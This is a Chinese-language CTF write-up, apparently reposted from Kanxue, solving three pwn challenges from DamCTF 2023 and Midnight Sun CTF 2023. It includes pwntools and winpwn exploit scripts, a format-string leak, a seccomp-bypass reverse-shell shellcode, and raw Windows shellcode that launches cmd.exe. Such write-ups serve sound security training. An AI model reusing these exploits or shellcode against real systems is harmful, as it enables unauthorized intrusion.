一
DamCTF 2023 Quals
golden-banana
By BobbySinclusto The Quest for the Golden Banana is a text-based adventure game that combines humor, action, and mystery in an epic story that will keep you hooked until the end. Explore exotic locations, interact with colorful characters, and make choices that will shape your destiny. Do you have what it takes to complete The Quest for the Golden Banana? The story for this challenge was entirely written by the Bing AI chatbot 🙂
// Get choice from user
gets(g.input_buf);
// Allow either specifying the number or typing the description
choice = atoi(g.input_buf) - 1;
void print_location(location *l) {
printf(l->description);
if (l->end_location) {
exit(0);
}
for (int i = 0; i < l->num_choices; ++i) {
printf("%d: %s", i + 1, l->choices[i].description);
}
}
#!/usr/bin/python
from pwn import *
import sys
import time
context.log_level = 'debug'
context.arch='amd64'
def exp(ip, port):
local=1
binary_name='golden_banana'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
if local:
p=process("./"+binary_name)
else:
p=remote(ip,port)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def cat():
ru('> ')
sl('cat')
def echo(x):
ru('> ')
sl(b'echo '+x)
def exit():
ru('> ')
sl('exit')
z('b*$rebase(0x17fa)')
time.sleep(1)
ru('2: Go south')
sl('1x00')
ru('2: No, go back')
sl('2x00'+'1'*(0x1828-2)+'%3$lx')
ru('2: Go south')
sl('1x00')
stack = int(ru(':')[:-2],16)
ru('2: No, go back')
sl(b'1x00'+b'1'*(0x2028-2)+p64(stack+0x1428*11))
p.interactive()
return ''
if __name__ == "__main__":
flag = exp(0, 0)
二
scm
By captainGeech Keeping track of your different shellcode payloads is annoying, but the SCM is here to help! Safety first, though!
'''
type1
Running shellcode... line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0007
0006: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
type2
Running shellcode... line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL
type3
Running shellcode... line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x80000000 return KILL_PROCESS
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL
'''
(unsigned __int8)
类型来判断type是否在1~3之间,在写入时又用*(_DWORD *)(a1 + 4) = v2;
写入4字节,可以输入0x101~0x103绕过检查并使得type不合法。unsigned int v2;
... ...
fgets((char *)&v6, 49, stdin);
v2 = strtol((const char *)&v6, 0LL, 10);
if ( (unsigned __int8)(v2 - 1) > 2u ) //bug
{
puts("Bad type!");
return 0;
}
printf("Changing type to %dn", v2);
*(_DWORD *)(a1 + 4) = v2;
... ...
sub_1279
直接执行。if ( !fork() )
{
close(2); //stderr
if ( *((_DWORD *)a1 + 1) == 3 || (close(1), *((_DWORD *)a1 + 1) != 2) ) //stdout
{
close(0); //stdin
v2 = *((_DWORD *)a1 + 1);
if ( v2 == 3 )
{
if ( !(unsigned __int8)sub_1279(0LL, 1LL) )
goto LABEL_13;
goto LABEL_12;
}
if ( v2 > 3 ) //bug
goto LABEL_12;
if ( v2 == 1 )
{
if ( !(unsigned __int8)sub_1279(0LL, 0LL) )
goto LABEL_13;
goto LABEL_12;
}
if ( v2 != 2 )
goto LABEL_12;
}
if ( !(unsigned __int8)sub_1279(1LL, 0LL) )
LABEL_13:
exit(0);
LABEL_12:
((void (*)(void))v1)();
goto LABEL_13;
}
wait((__WAIT_STATUS)stat_loc);
execve("/bin/sh",0,0)
是不行的,需要反弹shell,并且shellcode的长度需要小于0x64。code = asm(pwnlib.shellcraft.amd64.linux.connect(ip,port))
code += asm(pwnlib.shellcraft.amd64.linux.dup2(0,1))
#!/usr/bin/python
from pwn import *
import sys
import time
import threading
context.log_level = 'debug'
context.arch='amd64'
code = asm(pwnlib.shellcraft.amd64.linux.connect('0.0.0.0',8888))
code += asm(pwnlib.shellcraft.amd64.linux.dup2(0,1))
#code += asm(pwnlib.shellcraft.amd64.linux.sh())
shell='''
xor rsi,rsi;
xor rdx,rdx;
mov rax,0x68732f6e69622f;
push rax;
mov rdi,rsp;
push 59;
pop rax;
syscall
'''
code += asm(shell)
def exp(ip, port):
local=1
binary_name='scm'
libc_name='libc.so.6'
libc=ELF("./"+libc_name)
e=ELF("./"+binary_name)
if local:
p=process("./"+binary_name)
else:
p=remote(ip,port)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def cho(choice):
ru('Choice: ')
sl(str(choice))
def add(t, s, val):
cho(1)
ru('write):')
sl(str(t))
ru('shellcode: ')
sl(str(s))
ru('Shellcode: ')
sl(val)
def delete(idx):
cho(5)
ru('index:')
sl(str(idx))
def exe(idx):
cho(3)
ru('index:')
sl(str(idx))
def edit(idx,ty):
cho(2)
ru('Shellcode index: ')
sl(str(idx))
ru(' (y/n):')
sl('y')
ru('3=write): ')
sl(str(ty))
ru(' (y/n): ')
sl('n')
add(1, len(code), code)
edit(0,256+1)
exe(0)
return ''
if __name__ == "__main__":
th = threading.Thread(target=exp, args=(0,0))
th.start()
io = listen(8888)
io.wait_for_connection()
io.interactive()
三
Midnight Sun CTF 2023 Quals
pyttemjuk
Category: pwn Author: larsh Simple buffer overflow, but not your normal Linux system! Flag in c:flag.txt 附件
https://github.com/X1ngn/ctf/blob/master/chall.exe
环境搭建
pip install pefile
pip install keystone
pip install capstone
pip install winpwn
python
import winpwn
winpwn.__file__
debugger={
'i386':{
'windbg':'',
'x64dbg':'D:\x64dbg\release\x32\x32dbg.exe',
'gdb':'',
"windbgx":""
},
'amd64':{
'windbg':'',
'x64dbg':'',
'gdb':'',
"windbgx":""
}
}
debugger_init={
'i386':{
'windbg':'',
'x64dbg':'D:\x64dbg\release\x32\x32dbg.exe',
'gdb':'',
"windbgx":""
},
'amd64':{
'windbg':'',
'x64dbg':'',
'gdb':'',
"windbgx":""
}
}
self.sock.connect((ip, port))
改为self.sock.connect((ip, int(port)))。
class remote(tube):
def __init__(self, ip, port, family = socket.AF_INET, socktype = socket.SOCK_STREAM):
tube.__init__(self)
self.sock = socket.socket(family, socktype)
self._is_exit=False
try:
showbanner("Connecting to ({},{})".format(ip,port))
self.sock.settimeout(self.timeout)
self.sock.connect((ip, int(port))) #add an int function
except:
raise(EOFError(color("[-]: Connect to ({},{}) failed".format(ip,port),'red')))
def read(self,n,timeout=None,interactive=False):
if timeout is not None:
self.sock.settimeout(timeout)
buf=b''
try:
buf=self.sock.recv(n)
except KeyboardInterrupt:
self.close()
raise(EOFError(color("[-]: Exited by CTRL+C",'red')))
except:
pass
self.sock.settimeout(self.timeout)
return Latin1_decode(buf)
def write(self,buf):
return self.sock.send(Latin1_encode(buf))
def close(self):
self.sock.close()
self._is_exit=True
def is_exit(self):
if self._is_exit:
return True
return False
@tube.timeout.setter
def timeout(self,timeout):
self._timeout=timeout
self.sock.settimeout(self._timeout)
题目分析
buildReleasewinchecksec.exe
> winchecksec.exe C:UsersorigiDesktopchall.exe
Warn: No load config in the PE
Results for: C:UsersorigiDesktopchall.exe
Dynamic Base : "NotPresent"
ASLR : "NotPresent"
High Entropy VA : "NotPresent"
Force Integrity : "NotPresent"
Isolation : "Present"
NX : "NotPresent"
SEH : "Present"
CFG : "NotPresent"
RFG : "NotPresent"
SafeSEH : "NotPresent"
GS : "NotPresent"
Authenticode : "NotPresent"
.NET : "NotPresent"
from winpwn import *
import os
import traceback
import sys
import socket
context.log_level = 'debug'
context.arch = 'amd64'
context.arch = 'i386'
def get_sh():
if len(sys.argv) > 1 and sys.argv[1] == 'REMOTE':
return remote(sys.argv[2], sys.argv[3])
else:
return process(r"C:UsersorigiDesktopchall.exe")
def get_gdb(sh, stop=False):
x64dbg.attach(sh)
def Attack(sh=None, ip=None, port=None):
if ip != None and port != None:
try:
sh = remote(ip, port)
except:
return 'ERROR : Can not connect to target server!'
try:
sh.recvuntil('Enter your name:')
bss = 0x405040
payload = 'a' * 28
payload += p32(0) # ebp
payload += p32(0x40263C) # gets
payload += p32(bss)
payload += p32(bss)
#get_gdb(sh)
sh.sendline(payload)
shellcode = "x31xc9x64x8bx41x30x8bx40x0cx8bx40x1cx8bx04x08x8bx04x08x8bx58x08x8bx53x3cx01xdax8bx52x78x01xdax8bx72x20x01xdex41xadx01xd8x81x38x47x65x74x50x75xf4x81x78x04x72x6fx63x41x75xebx81x78x08x64x64x72x65x75xe2x49x8bx72x24x01xdex66x8bx0cx4ex8bx72x1cx01xdex8bx14x8ex01xdax89xd6x31xc9x51x68x45x78x65x63x68x41x57x69x6ex89xe1x8dx49x01x51x53xffxd6x87xfax89xc7x31xc9x51x68x72x65x61x64x68x69x74x54x68x68x41x41x45x78x89xe1x8dx49x02x51x53xffxd6x89xc6x31xc9x51x68x65x78x65x20x68x63x6dx64x2ex89xe1x6ax01x51xffxd7x31xc9x51xffxd6"
sh.sendline(shellcode)
sh.interactive()
except Exception as e:
traceback.print_exc()
sh.close()
return 'ERROR : Runtime error!'
if __name__ == "__main__":
sh = get_sh()
Attack(sh=sh)
看雪ID:X1ng
https://bbs.kanxue.com/user-home-869963.htm
# 往期推荐
3、安卓加固脱壳分享
球分享
球点赞
球在看
原文始发于微信公众号(看雪学苑):DamCTF and Midnight Sun CTF Qualifiers pwn部分wp